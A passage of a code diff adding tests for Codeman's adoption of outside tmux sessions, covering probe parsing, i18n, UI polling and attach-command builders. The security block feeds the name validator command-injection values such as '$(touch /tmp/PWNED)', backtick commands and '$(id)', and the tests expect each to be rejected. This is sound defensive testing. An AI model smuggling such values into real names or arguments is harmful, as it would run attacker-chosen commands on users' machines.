+    expect(priv._trustDialogTimer).toBeFalsy();
+    await s.stop(true).catch(() => {});
+  });
+});
+
+describe('the new-shell clear', () => {
+  /** What a shell session writes to its pane once the mux attach is up. */
+  const bytesWrittenAfterStart = async (adopt?: Record<string, unknown>) => {
+    const s = new Session({
+      id: adopt ? 'adopt-shell' : 'own-shell',
+      name: 't',
+      workingDir: '/tmp',
+      mode: 'shell',
+      useMux: true,
+      mux: {},
+      ...(adopt ? { adopt } : {}),
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    } as any);
+    const write = vi.fn();
+    const disposable = () => ({ dispose() {} });
+    const priv = s as unknown as Record<string, unknown>;
+    priv._setupOrAttachMuxSession = async () => {
+      priv.ptyProcess = { write, onData: disposable, onExit: disposable, kill() {}, pid: 1 };
+      return { isRestored: false, respawnedDeadPane: false };
+    };
+    await s.startShell();
+    await new Promise((resolve) => setTimeout(resolve, 200));
+    priv.ptyProcess = null;
+    await s.stop(true).catch(() => {});
+    return write.mock.calls.map((c) => c[0]);
+  };
+
+  it('clears a shell Codeman started', async () => {
+    expect(await bytesWrittenAfterStart()).toEqual(['clear\n']);
+  });
+
+  it('types nothing into an adopted pane', async () => {
+    // ⚠️ That pane is someone else's, and `shell` is also the answer for anything the
+    // classifier cannot name (vim, psql, a `read` prompt). `clear` plus a newline landed
+    // on a half-typed command or in whatever was reading stdin, on every adoption.
+    const adopt = { location: 'local', socketPath: '/tmp/tmux-0/default', targetSession: 'work', viewSession: '' };
+    expect(await bytesWrittenAfterStart(adopt)).toEqual([]);
+  });
+});

test/foreign-sessions-i18n.test.ts

@@ -0,0 +1,73 @@
+/**
+ * @fileoverview The strings of the outside-sessions block in Chinese (zh-CN).
+ *
+ * Harvested from the real module rather than listed here, so a new string without a
+ * dictionary entry fails this test instead of showing up English on one surface. The
+ * block's row text carries data-i18n-skip (a session name and a command line are
+ * someone else's), so its location words only translate through the module's own
+ * foreignT() call, and the DOM translator would never reach them.
+ *
+ * Port: N/A.
+ */
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import vm from 'node:vm';
+import { JSDOM } from 'jsdom';
+import { afterAll, describe, expect, it } from 'vitest';
+
+const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
+const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
+const MODULE = readFileSync(resolve(PUBLIC, 'foreign-sessions.js'), 'utf8');
+
+type Api = { configure(o: Record<string, string>): void; t(source: string): string };
+
+/** Everything the module sends through foreignT, plus the toggle's two literal labels. */
+const FROM_MODULE = [...MODULE.matchAll(/foreignT\('([^']+)'\)/g)].map((m) => m[1]);
+const LOCATION_WORDS = ['this machine', 'container', 'remote'];
+const TOGGLE = ['⟳ all', '⟳ local'];
+const ELSEWHERE = [
+  'Close Tab',
+  'Detaches only. The tmux session keeps running for whoever started it.',
+  'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.',
+  'Git status is not available for a tmux session opened outside Codeman.',
+];
+const ALL = [...FROM_MODULE, ...LOCATION_WORDS, ...TOGGLE, ...ELSEWHERE];
+
+const dom = new JSDOM('<!doctype html><html><body></body></html>', {
+  runScripts: 'outside-only',
+  url: 'http://localhost/',
+});
+vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
+const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
+api.configure({ language: 'zh-CN' });
+
+afterAll(() => {
+  dom.window.close();
+});
+
+describe('the outside-sessions block in zh-CN', () => {
+  it('harvests the module (the check is not vacuous)', () => {
+    expect(FROM_MODULE).toContain('Opened outside Codeman');
+    expect(FROM_MODULE).toContain('Go to tab');
+    expect(FROM_MODULE.length).toBeGreaterThanOrEqual(10);
+  });
+
+  it('wraps every location word, whose row the DOM translator skips', () => {
+    expect(MODULE).toContain('foreignT(FOREIGN_LOCATION_LABEL[row.location] || row.location)');
+    for (const word of LOCATION_WORDS) expect(MODULE).toContain(`: '${word}'`);
+  });
+
+  it.each(ALL)('translates %s', (source) => {
+    const chinese = api.t(source);
+    expect(chinese).not.toBe(source);
+    expect(chinese.replace(/\b(Codeman|tmux|Git)\b/g, '').match(/[A-Za-z]+/g) ?? []).toEqual([]);
+  });
+
+  it('adds each key to the dictionary once', () => {
+    // Prettier leaves a key that is one word unquoted.
+    for (const source of new Set(ALL)) {
+      const bare = /^\w+$/.test(source) ? I18N.split(`\n    ${source}: `).length - 1 : 0;
+      expect(I18N.split(`'${source}':`).length - 1 + bare, source).toBe(1);
+    }
+  });
+});

test/foreign-sessions-ui.test.ts

@@ -0,0 +1,248 @@
+/**
+ * @fileoverview The home screen's foreign-session block: the wide scan is
+ * one-shot, and an adoption failure says what the server said.
+ *
+ * Containers and ssh hosts cost a `docker exec` or a full ssh handshake each,
+ * with a ~12s timeout. Riding them along on the 8s poll stacked connections on
+ * a slow host, so the wide scan now runs only when the user asks. That makes a
+ * second property load-bearing: the periodic poll's payload cannot contain
+ * those rows, so they are kept apart and merged — assert only "the request was
+ * right" and the real failure (the next tick wiping the container rows off the
+ * list) sails through.
+ *
+ * Port: none.
+ */
+import { describe, it, expect, vi } from 'vitest';
+import { readFileSync } from 'node:fs';
+import { fileURLToPath } from 'node:url';
+import vm from 'node:vm';
+
+const SRC = readFileSync(fileURLToPath(new URL('../src/web/public/foreign-sessions.js', import.meta.url)), 'utf8');
+
+function stubEl(): Record<string, unknown> {
+  const el: Record<string, unknown> = {
+    children: [] as unknown[],
+    dataset: {},
+    disabled: false,
+    textContent: '',
+    title: '',
+    type: '',
+    className: '',
+    hidden: false,
+    classList: { add() {}, remove() {}, contains: () => false },
+    appendChild(c: unknown) {
+      (el.children as unknown[]).push(c);
+      return c;
+    },
+    setAttribute() {},
+  };
+  Object.defineProperty(el, 'innerHTML', { get: () => '', set: () => void (el.children = []) });
+  return el;
+}
+
+/** The module is a classic script that mixes into CodemanApp.prototype. */
+function loadApp(window: Record<string, unknown> = {}) {
+  const host = stubEl();
+  const ctx: Record<string, unknown> = {
+    console,
+    Date,
+    Number,
+    Array,
+    Object,
+    JSON,
+    Math,
+    String,
+    setInterval: () => 1,
+    clearInterval() {},
+    codemanT: null,
+    window,
+    document: {
+      createElement: () => stubEl(),
+      getElementById: (id: string) => (id === 'foreignSessions' ? host : null),
+      addEventListener() {},
+    },
+    CodemanApp: function () {} as unknown,
+  };
+  vm.createContext(ctx);
+  vm.runInContext(SRC, ctx);
+  const Ctor = ctx.CodemanApp as { prototype: object };
+  return Object.create(Ctor.prototype) as Record<string, unknown> & {
+    toggleForeignScanRemote(): void;
+    rescanForeignWide(): void;
+    loadForeignSessions(o?: { wide?: boolean }): Promise<void>;
+    adoptForeignSession(id: string, el?: unknown): Promise<void>;
+    _allForeignRows(): Array<{ id: string }>;
+    renderAllForeignSessions(): void;
+    startForeignPolling(): void;
+    renderForeignSessions(el: unknown): void;
+    _foreignRow(row: object): { children: Array<{ children: Array<{ textContent: string }> }> };
+  };
+}
+
+/** A response as `_api` hands it over, the server's envelope included. */
+function ok(data: unknown) {
+  return { ok: true, status: 200, json: async () => ({ success: true, data }) };
+}
+
+const LOCAL = { id: 'L1', location: 'local', sessionName: 'work', mode: 'claude' };
+const DOCKER = { id: 'D1', location: 'docker', sessionName: 'inbox', mode: 'codex' };
+
+describe('the wide scan is one-shot', () => {
+  function wired() {
+    const app = loadApp();
+    const calls: string[] = [];
+    app._api = vi.fn(async (path: string) => {
+      calls.push(path);
+      return ok(
+        path.includes('docker=1')
+          ? {
+              sessions: [LOCAL, DOCKER],
+              notes: ['docker box: not running, no tmux, or engine unreachable'],
+              canScanWide: true,
+            }
+          : { sessions: [LOCAL], notes: ['local: 1 session(s) skipped'], canScanWide: true }
+      );
+    });
+    return { app, calls };
+  }
+
+  it('fetches containers and hosts once when the toggle goes on', async () => {
+    const { app, calls } = wired();
+    app.toggleForeignScanRemote();
+    // Wait on the STATE, not on the call count: the stub pushes its path before
+    // it resolves, so a call-count wait returns while the rows are still unset.
+    await vi.waitFor(() => expect(app._allForeignRows()).toHaveLength(2));
+    expect(calls[0]).toContain('docker=1');
+    expect(calls[0]).toContain('remote=1');
+    expect(app._allForeignRows().map((r) => r.id)).toEqual(['L1', 'D1']);
+  });
+
+  it('keeps the periodic poll local-only, and the container row survives it', async () => {
+    // Both halves matter. The first is the cost fix; the second is what makes it
+    // usable — a local-only payload has no container rows in it.
+    const { app, calls } = wired();
+    app.toggleForeignScanRemote();
+    await vi.waitFor(() => expect(app._allForeignRows()).toHaveLength(2));
+    await app.loadForeignSessions(); // the interval's call shape
+    expect(calls[1]).toBe('/api/mux/foreign');
+    expect(app._allForeignRows().map((r) => r.id)).toEqual(['L1', 'D1']);
+  });
+
+  it('keeps a container or host note across the local polls, and refreshes the local ones', async () => {
+    // Only a wide scan can re-read a container's note, so a local poll wiping it
+    // left "unreachable" gone while its stale rows stayed on the list.
+    const { app } = wired();
+    app.toggleForeignScanRemote();
+    await vi.waitFor(() => expect(app._allForeignRows()).toHaveLength(2));
+    await app.loadForeignSessions();
+    expect(app._foreignWideNotes).toEqual(['docker box: not running, no tmux, or engine unreachable']);
+    expect(app._foreignNotes).toEqual(['local: 1 session(s) skipped']);
+  });
+
+  it('discards the wide rows when the toggle goes off', async () => {
+    // Nothing re-confirms them, so leaving them up would show a container
+    // session that may be long gone.
+    const { app, calls } = wired();
+    app.toggleForeignScanRemote();
+    await vi.waitFor(() => expect(app._allForeignRows()).toHaveLength(2));
+    app.toggleForeignScanRemote();
+    expect(app._allForeignRows().map((r) => r.id)).toEqual(['L1']);
+  });
+
+  it('Rescan re-runs the wide scan, and does nothing while the toggle is off', async () => {
+    const { app, calls } = wired();
+    app.rescanForeignWide();
+    expect(calls).toHaveLength(0);
+    app.toggleForeignScanRemote();
+    await vi.waitFor(() => expect(app._allForeignRows()).toHaveLength(2));
+    app.rescanForeignWide();
+    await vi.waitFor(() => expect(calls).toHaveLength(2));
+    expect(calls[1]).toContain('docker=1');
+  });
+});
+
+describe('an adoption failure reports what the server said', () => {
+  function adoptHarness(status: number, body: unknown) {
+    const app = loadApp();
+    const toasts: string[] = [];
+    app.showToast = (msg: string) => void toasts.push(msg);
+    app._api = vi.fn(async () => ({ ok: status < 400, status, json: async () => body }));
+    app._onSessionCreated = vi.fn();
+    app.selectSession = vi.fn(async () => {});
+    return { app, toasts };
+  }
+
+  it('shows "could not reach it" verbatim instead of "that session is gone"', async () => {
+    // The server deliberately tells two different stories. `_apiJson` folds a
+    // non-2xx to null, which collapsed both into one message and reported a
+    // live remote session as deleted every time the link flickered.
+    const msg = 'Could not reach it just now (ssh box: timeout). It may still be running — try again.';
+    const { app, toasts } = adoptHarness(404, { success: false, error: msg, errorCode: 'NOT_FOUND' });
+    await app.adoptForeignSession('cand-1');
+    expect(toasts[0]).toBe(msg);
+  });
+
+  it('still shows the gone message when that is what the server said', async () => {
+    const msg = 'That tmux session is no longer there. Refresh the list and try again.';
+    const { app, toasts } = adoptHarness(404, { success: false, error: msg, errorCode: 'NOT_FOUND' });
+    await app.adoptForeignSession('cand-1');
+    expect(toasts[0]).toBe(msg);
+  });
+
+  it('falls back to its own wording when the server sent no readable body', async () => {
+    const app = loadApp();
+    const toasts: string[] = [];
+    app.showToast = (msg: string) => void toasts.push(msg);
+    app._api = vi.fn(async () => null); // network failure
+    await app.adoptForeignSession('cand-1');
+    expect(toasts[0]).toMatch(/Could not open that session/);
+  });
+
+  it('goes through the app’s normal create path on success', async () => {
+    const session = { id: 'new-1' };
+    const { app } = adoptHarness(200, { success: true, data: { session } });
+    await app.adoptForeignSession('cand-1');
+    expect(app._onSessionCreated).toHaveBeenCalledWith(session);
+    expect(app.selectSession).toHaveBeenCalledWith('new-1');
+  });
+});
+
+describe('a non-admin in multi-user mode', () => {
+  // The list is admin-only, so every poll answers 403. That used to read as a failed
+  // poll: a "Could not reach the server" block, and a request every eight seconds.
+  it('stops asking and shows no block at all', async () => {
+    const app = loadApp();
+    const calls: string[] = [];
+    app._api = vi.fn(async (path: string) => {
+      calls.push(path);
+      return { ok: false, status: 403, json: async () => ({ success: false, errorCode: 'FORBIDDEN' }) };
+    });
+    await app.loadForeignSessions();
+    const box = stubEl();
+    app.renderForeignSessions(box);
+    expect(box.hidden).toBe(true);
+    expect(box.children).toEqual([]);
+    await app.loadForeignSessions();
+    app.startForeignPolling();
+    expect(calls).toHaveLength(1);
+  });
+
+  it('still reads any other failure as a failed poll', async () => {
+    const app = loadApp();
+    app._api = vi.fn(async () => ({ ok: false, status: 500, json: async () => ({ success: false }) }));
+    await app.loadForeignSessions();
+    expect(app._foreignError).toBe(true);
+    expect(app._foreignRefused).toBeFalsy();
+  });
+});
+
+describe('a row names its CLI in the registry\u2019s own word', () => {
+  it('has no list of CLI ids to fall behind: omp and copilot read like the rest', () => {
+    const app = loadApp({ __codemanCliCatalog: [{ id: 'copilot', label: 'GitHub Copilot' }] });
+    const sub = (mode: string) =>
+      app._foreignRow({ sessionName: 'x', mode, location: 'local' }).children[1].children[1].textContent;
+    expect(sub('copilot')).toBe('GitHub Copilot \u00b7 this machine');
+    // Absent from the catalog: the id itself, never a blank row.
+    expect(sub('newcli')).toBe('newcli \u00b7 this machine');
+  });
+});

test/foreign-tmux.test.ts

@@ -0,0 +1,915 @@
+/**
+ * Foreign tmux adoption — the pure core.
+ *
+ * These pin the properties that were established by MEASUREMENT against a real
+ * tmux (3.3a) while the feature was built, and that a plausible-looking refactor
+ * would quietly undo. Each one has a comment naming what actually went wrong.
+ */
+
+import { execSync, spawnSync } from 'node:child_process';
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { createServer, type Server } from 'node:net';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, it, expect, vi } from 'vitest';
+import {
+  buildForeignProbeScript,
+  parseForeignProbeOutput,
+  classifyForeignPaneMode,
+  isCodemanOwnedPane,
+  foreignSessionId,
+  foreignViewSessionName,
+  isAdoptableSessionName,
+  isAdoptableSocketPath,
+  buildForeignAttachCommand,
+  buildForeignDockerAttachCommand,
+  buildForeignRemoteAttachCommand,
+  buildForeignDockerViewKillCommand,
+  buildForeignTmuxInvocation,
+  foreignCliSignatures,
+} from '../src/foreign-tmux.js';
+import {
+  candidatesFrom,
+  foreignDockerProbeArgv,
+  foreignRemoteProbeCommand,
+  runForeignProbe,
+} from '../src/foreign-tmux-discovery.js';
+import { bashCArg, buildAdoptSessionCommand } from '../src/tmux-manager.js';
+import type { RemoteHost, SessionAdopt } from '../src/types/session.js';
+import { PROC_WALK_MAX_NODES } from '../src/proc-tree.js';
+import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
+import { hooksAvailableForMode, sessionHookOptions } from '../src/web/session-wait-registry.js';
+
+// A probe transcript in exactly the shape a real run produces. The pane rows use
+// the LITERAL backslash-t that tmux's `-F` emits (verified on next-3.7 and 3.3a),
+// while the socket line is space-separated because `sh`'s builtin `echo` expands
+// a backslash-t to a real TAB — two different meanings for one escape, two lines
+// apart, which is why the socket marker carries no separator at all.
+const PROBE = [
+  'CMFS /tmp/tmux-0/default',
+  'CMFP\\t/tmp/tmux-0/default\\t631\\t0\\t1\\t1788092494\\t1\\t%0\\tclaude\\twork\\t/srv/app',
+  'CMFP\\t/tmp/tmux-0/default\\t900\\t0\\t1\\t1788092500\\t0\\t%1\\tbash\\tscratch\\t/home/me',
+  'CMFP\\t/tmp/tmux-0/default\\t950\\t0\\t2\\t1788092600\\t0\\t%2\\tnode\\tcodex-work\\t/srv/app',
+  'CMFQ',
+  '  631   630 -bash',
+  ' 4056   631 claude --dangerously-skip-permissions',
+  ' 4104  4056 /usr/local/bin/ortg --repo /ortg mcp',
+  '  900   630 -bash',
+  '  950   630 node /opt/homebrew/bin/codex',
+].join('\n');
+
+describe('buildForeignProbeScript', () => {
+  it('contains no single quote — it is wrapped in one to cross ssh and docker exec', () => {
+    // The script is embedded as `ssh host '<script>'` and `docker exec c sh -lc
+    // '<script>'`. One single quote inside ends the wrapper early and the rest is
+    // re-tokenized by the remote shell.
+    expect(buildForeignProbeScript()).not.toContain("'");
+  });
+
+  it('does not disable globbing — the socket sweep IS a glob', () => {
+    // A `set -f` here turned the whole loop into one literal non-match, and the
+    // probe reported zero sessions on a machine that had three.
+    expect(buildForeignProbeScript()).not.toMatch(/\bset -f\b/);
+  });
+
+  it('keeps the shell variables unexpanded for the INNER shell', () => {
+    // Running this through anything that adds an outer shell (execSync spawns
+    // `sh -c`) expands `$TMUX_TMPDIR`/`$U` too early. Callers must use an argv
+    // array locally; the script's job is only to still contain them.
+    const s = buildForeignProbeScript();
+    expect(s).toContain('${TMUX_TMPDIR:-/tmp}');
+    expect(s).toContain('$TD/tmux-$U/*');
+  });
+
+  it('asks tmux for UTF-8, so a POSIX locale cannot rewrite a name into underscores', () => {
+    // Measured in a POSIX-locale container: without `-u` a session called `会话` was
+    // listed as `____`, the guard then looked for `____`, and the tab opened dead.
+    expect(buildForeignProbeScript()).toContain('tmux -u -S "$S" list-panes');
+  });
+
+  it('pings each server with stdout at /dev/null before it gets the real one', () => {
+    // A client hands dups of its stdout to the server, so a stopped server holds our
+    // pipe open after the client dies and no reader of that pipe can ever finish.
+    const s = buildForeignProbeScript();
+    expect(s).toContain('tmux -S "$S" has-session >/dev/null 2>&1 &');
+    expect(s.indexOf('has-session')).toBeLessThan(s.indexOf('list-panes'));
+  });
+});
+
+describe('parseForeignProbeOutput', () => {
+  it('parses pane rows, the socket list and the process snapshot', () => {
+    const out = parseForeignProbeOutput(PROBE);
+    expect(out.sockets).toEqual(['/tmp/tmux-0/default']);
+    expect(out.panes).toHaveLength(3);
+    expect(out.panes[0]).toMatchObject({
+      socketPath: '/tmp/tmux-0/default',
+      sessionName: 'work',
+      panePid: 631,
+      paneCurrentCommand: 'claude',
+      paneCurrentPath: '/srv/app',
+      sessionAttached: true,
+      windows: 1,
+    });
+    expect(out.argvByPid.get(4056)).toBe('claude --dangerously-skip-permissions');
+    expect(out.byParent.get(631)).toEqual([4056]);
+  });
+
+  it('never throws on garbage and simply skips unusable rows', () => {
+    const out = parseForeignProbeOutput('nonsense\nCMFP\\ttoo\\tfew\nCMFQ\nnot a proc row\n');
+    expect(out.panes).toHaveLength(0);
+    expect(out.argvByPid.size).toBe(0);
+  });
+
+  it('tolerates a real TAB, in case a tmux build expands the escape', () => {
+    const withTabs = PROBE.split('\n')
+      .map((l) => (l.startsWith('CMFP') ? l.replace(/\\t/g, '\t') : l))
+      .join('\n');
+    expect(parseForeignProbeOutput(withTabs).panes).toHaveLength(3);
+  });
+
+  it('keeps the pane path even when the SESSION NAME contains a separator', () => {
+    // The two free-form fields sit last for exactly this: the path is taken from
+    // the END and the name is whatever lies between the fixed prefix and it, so a
+    // separator inside a user-chosen name cannot shift the path out of place.
+    const row = 'CMFP\\t/s\\t1\\t0\\t1\\t100\\t0\\t%0\\tbash\\tmy\\tname\\t/srv/x';
+    const out = parseForeignProbeOutput(`${row}\nCMFQ\n`);
+    expect(out.panes[0].paneCurrentPath).toBe('/srv/x');
+    expect(out.panes[0].sessionName).toBe('my\tname');
+  });
+
+  it('lists every socket it swept, however many there are', () => {
+    // There used to be a cap here that only trimmed this list while the loop went on
+    // to every socket anyway. A real cap in glob order would be worse: `codeman*`
+    // sorts before `default`, so a box with many instances would never reach it.
+    const lines = Array.from({ length: 40 }, (_, i) => `CMFS /tmp/tmux-0/s${i}`);
+    expect(parseForeignProbeOutput(lines.join('\n')).sockets).toHaveLength(40);
+  });
+
+  it('records a server that did not answer', () => {
+    const out = parseForeignProbeOutput(`CMFS /tmp/tmux-0/hung\nCMFH /tmp/tmux-0/hung\nCMFQ\n`);
+    expect(out.hungSockets).toEqual(['/tmp/tmux-0/hung']);
+  });
+});
+
+describe('classifyForeignPaneMode', () => {
+  const probe = parseForeignProbeOutput(PROBE);
+
+  it('finds claude through the process tree, not the pane command', () => {
+    // `#{pane_current_command}` is `node` for BOTH claude and codex, and the
+    // pane's own pid is the SHELL. Only the descendant walk can tell them apart.
+    const pane = probe.panes.find((p) => p.sessionName === 'work')!;
+    expect(classifyForeignPaneMode(pane, probe).mode).toBe('claude');
+  });
+
+  it('finds codex the same way', () => {
+    const pane = probe.panes.find((p) => p.sessionName === 'codex-work')!;
+    expect(classifyForeignPaneMode(pane, probe).mode).toBe('codex');
+  });
+
+  it('calls a plain shell a shell — the case this feature exists for', () => {
+    const pane = probe.panes.find((p) => p.sessionName === 'scratch')!;
+    const c = classifyForeignPaneMode(pane, probe);
+    expect(c.mode).toBe('shell');
+    expect(c.command).toBe('-bash');
+  });
+
+  it("falls back to tmux's own answer when there is no process snapshot", () => {
+    // A host whose `ps` refused both forms still gets a usable classification:
+    // `pane_current_command` is the FOREGROUND process, so it names the agent
+    // even though the pane pid names the shell.
+    const empty = { byParent: new Map(), argvByPid: new Map() };
+    expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: 'claude' }, empty).mode).toBe('claude');
+    expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: 'zsh' }, empty).mode).toBe('shell');
+  });
+});
+
+describe('isCodemanOwnedPane', () => {
+  const pane = (socketPath: string, sessionName: string) => ({ socketPath, sessionName });
+
+  it("excludes this instance's own socket", () => {
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman-beta', 'x'), 'codeman-beta')).toBe(true);
+  });
+
+  it('excludes ANOTHER Codeman instance too', () => {
+    // Otherwise a beta would offer to adopt prod's sessions, attaching a second
+    // PTY to a live pane prod is already driving.
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman', 'x'), 'codeman-beta')).toBe(true);
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman-remote', 'x'), 'codeman-beta')).toBe(true);
+  });
+
+  it('excludes Codeman-minted session names on a foreign socket', () => {
+    // Our own grouped view sessions live on the foreign server; without this a
+    // second scan would offer to adopt our own view.
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'codeman-view-abc12345'), 'codeman')).toBe(true);
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'claudeman-abc'), 'codeman')).toBe(true);
+  });
+
+  it('admits an ordinary hand-made session', () => {
+    expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'work'), 'codeman')).toBe(false);
+  });
+});
+
+describe('adoptability gate (security)', () => {
+  it('refuses a name carrying command substitution', () => {
+    // The attach line reaches `bash -c` single-quoted now (`bashCArg()`), but it used
+    // to end at `bash -c ${JSON.stringify(cmd)}`, where the OUTER shell expanded
+    // `$(...)` and backticks inside its double quotes before bash ever saw the inner
+    // single quotes. Measured: a launchCmd of `: 'x$(touch A)`touch B`'` created BOTH
+    // files. A foreign session name is chosen by someone else and more shells parse it
+    // after that one, so it must never reach that string whatever the quoting of the day.
+    expect(isAdoptableSessionName('work;$(touch /tmp/PWNED)')).toBe(false);
+    expect(isAdoptableSessionName('work`touch /tmp/PWNED`')).toBe(false);
+    expect(isAdoptableSessionName('work$HOME')).toBe(false);
+    expect(isAdoptableSessionName('a\\b')).toBe(false);
+    expect(isAdoptableSessionName('a"b')).toBe(false);
+    expect(isAdoptableSessionName("a'b")).toBe(false);
+    expect(isAdoptableSessionName('a\nb')).toBe(false);
+    expect(isAdoptableSessionName('')).toBe(false);
+  });
+
+  it('still admits the names people actually use', () => {
+    // A refusal here is a session the user cannot open at all, so the allowlist
+    // has to cover real life: spaces, CJK, punctuation.
+    for (const n of ['work', 'my-project', 'feat/login', 'weird name', 'zh-会话', 'v1.2_build', 'a+b@c']) {
+      expect(isAdoptableSessionName(n)).toBe(true);
+    }
+  });
+
+  it('refuses a name tmux reads as target syntax rather than as a name', () => {
+    // `has-session -t '=<name>'` finds these by name, but `new-session -t <name>` does
+    // not. Measured on tmux 3.4: `@1` and `%1` joined the session holding that window or
+    // pane, so input typed in the tab reached someone else's pane, and `=eq`, `=`, `@zz`,
+    // `%zz` and `~` made a new group with a fresh shell on the foreign server.
+    for (const n of ['@1', '%1', '@zz', '%zz', '=eq', '=', '~']) expect(isAdoptableSessionName(n)).toBe(false);
+  });
+
+  it('keeps the names that only look like target syntax', () => {
+    // Each of these joined its own windows on tmux 3.4. `! + - ^` are window tokens, and
+    // a `-t` of the session type never reads them as such.
+    for (const n of ['!', '+', '-', '^', '^x', '+x', '-dash', '!bang', '~foo', 'a~b', 'a@b', 'x=y', 'x%y', '40']) {
+      expect(isAdoptableSessionName(n)).toBe(true);
+    }
+  });
+
+  it('holds the socket path to the same rule, plus absoluteness', () => {
+    // A socket is `tmux -L <name>` under a user-controlled directory, so its
+    // path is attacker-influenceable in exactly the same way.
+    expect(isAdoptableSocketPath('/tmp/tmux-0/default')).toBe(true);
+    expect(isAdoptableSocketPath('/tmp/tmux-0/$(id)')).toBe(false);
+    expect(isAdoptableSocketPath('relative/path')).toBe(false);
+    expect(isAdoptableSocketPath('/tmp/../etc/x')).toBe(false);
+  });
+});
+
+describe('identity', () => {
+  it('is stable across scans and distinct per target', () => {
+    const a = foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'work');
+    expect(foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'work')).toBe(a);
+    expect(foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'other')).not.toBe(a);
+    expect(foreignSessionId('remote', 'h1', '/tmp/tmux-0/default', 'work')).not.toBe(a);
+  });
+
+  it('names the view session after the Codeman session', () => {
+    expect(foreignViewSessionName('a10674f9-abce-4551')).toBe('codeman-view-a10674f9');
+  });
+});
+
+describe('attach command builders', () => {
+  const target = { socketPath: '/tmp/tmux-0/default', targetSession: 'work', viewSession: 'codeman-view-abc12345' };
+
+  it('creates the view session ATTACHED, never with -d', () => {
+    // tmux's `server_check_unattached()` runs every server loop, so a DETACHED
+    // session carrying `destroy-unattached on` is destroyed almost immediately.
+    const cmd = buildForeignTmuxInvocation(target);
+    expect(cmd).toContain('new-session -t');
+    expect(cmd).not.toMatch(/new-session\s+-d/);
+  });
+
+  it('checks the target exists BEFORE new-session, because new-session invents one', () => {
+    // ⚠️ `new-session -t` does not fail on a missing target. Measured on tmux 3.3a
+    // with only `work-prod` present: `new-session -t work` succeeded and joined our
+    // view into `work-prod`'s group — someone else's session. On a socket with no
+    // server it starts one. The wrapper pane re-runs this on every respawn, and boot
+    // recovery respawns every dead pane, so without this guard the owner exiting
+    // their session leaves Codeman creating shells on their machine.
+    const cmd = buildForeignTmuxInvocation(target);
+    const guard = cmd.indexOf('has-session');
+    const create = cmd.indexOf('new-session');
+    expect(guard).toBeGreaterThan(-1);
+    expect(guard).toBeLessThan(create);
+    expect(cmd).toMatch(/has-session -t '=work'/);
+    // Fails closed with a message rather than falling through to new-session.
+    expect(cmd).toMatch(/has-session[^;]*\|\|\s*\{\s*echo[^;]*;\s*exit 1;\s*\}/);
+  });
+
+  it('uses the exact-match = only where a session is looked UP, never on new-session -t', () => {
+    // Measured: tmux reads the `=` on `new-session -t` as part of the name and
+    // creates a group literally called `=work`, so the guard has to be separate.
+    // Without `=`, `has-session -t work` matches `work-prod` (verified on 3.3a).
+    const cmd = buildForeignTmuxInvocation(target);
+    expect(cmd).toContain("new-session -t 'work'");
+    expect(cmd).not.toContain("new-session -t '=work'");
+    // The two commands that LOOK a session up both take `=`.
+    expect(cmd).toContain("has-session -t '=work'");
+    expect(cmd).toContain("kill-session -t '=codeman-view-abc12345'");
+  });
+
+  it('keeps the guard on all three locations, not just the local one', () => {
+    // The guard lives in the one shared invocation builder, so docker and remote
+    // inherit it. A future split into per-location strings must keep that true:
+    // the ssh and container paths are exactly where a stray session costs most.
+    expect(buildForeignDockerAttachCommand({ ...target, dockerBase: 'docker', containerName: 'box' })).toContain(
+      'has-session'
+    );
+    expect(
+      buildForeignRemoteAttachCommand({
+        ...target,
+        sshArgs: ['ssh', '-o BatchMode=yes'],
+        sshTarget: 'u@h',
+      })
+    ).toContain('has-session');
+  });
+
+  it('attaches as a UTF-8 client whatever the locale says', () => {
+    // Measured in a POSIX-locale container: without `-u` the tab read `_ hello qqq ____`
+    // for `❯ hello ─── 你好`, with `client_utf8=0`.
+    expect(buildForeignTmuxInvocation(target)).toContain("exec tmux -u -S '/tmp/tmux-0/default' new-session -t");
+  });
+
+  it('says tmux is missing instead of calling a live session gone', () => {
+    // `has-session ... 2>/dev/null ||` fires for any failure, exit 127 included, so an
+    // ssh host where tmux is off the PATH used to print that the session was gone.
+    const emptyBin = mkdtempSync(join(tmpdir(), 'foreign-no-tmux-'));
+    try {
+      const run = spawnSync('/bin/sh', ['-c', buildForeignTmuxInvocation(target)], {
+        encoding: 'utf-8',
+        env: { PATH: emptyBin },
+      });
+      expect(run.status).toBe(127);
+      expect(run.stdout).toMatch(/tmux was not found/);
+      expect(run.stdout).not.toMatch(/is gone/);
+    } finally {
+      rmSync(emptyBin, { recursive: true, force: true });
+    }
+  });
+
+  it('sets destroy-unattached so the view dies with our pane', () => {
+    expect(buildForeignTmuxInvocation(target)).toContain('destroy-unattached on');
+  });
+
+  it('never sets window-size on the shared window', () => {
+    // Measured: `window-size largest` is the only setting that protects an
+    // actively-used session's size, but it is a WINDOW option on a SHARED window
+    // and SURVIVES our detach — it would permanently rewrite the owner's config.
+    expect(buildForeignTmuxInvocation(target)).not.toContain('window-size');
+  });
+
+  it('leaves NO degraded fallback — it either groups or fails with a message', () => {
+    // A read-only `attach-session -r` used to hang off `||`, nominally for a tmux
+    // too old to group. But `||` fires on ANY new-session failure, and the one that
+    // happens is a leftover view with the same name: measured, new-session answers
+    // `duplicate session: …` and the fallback then handed the user a read-only
+    // client where typed input is dropped while the API reported success.
+    const cmd = buildForeignTmuxInvocation(target);
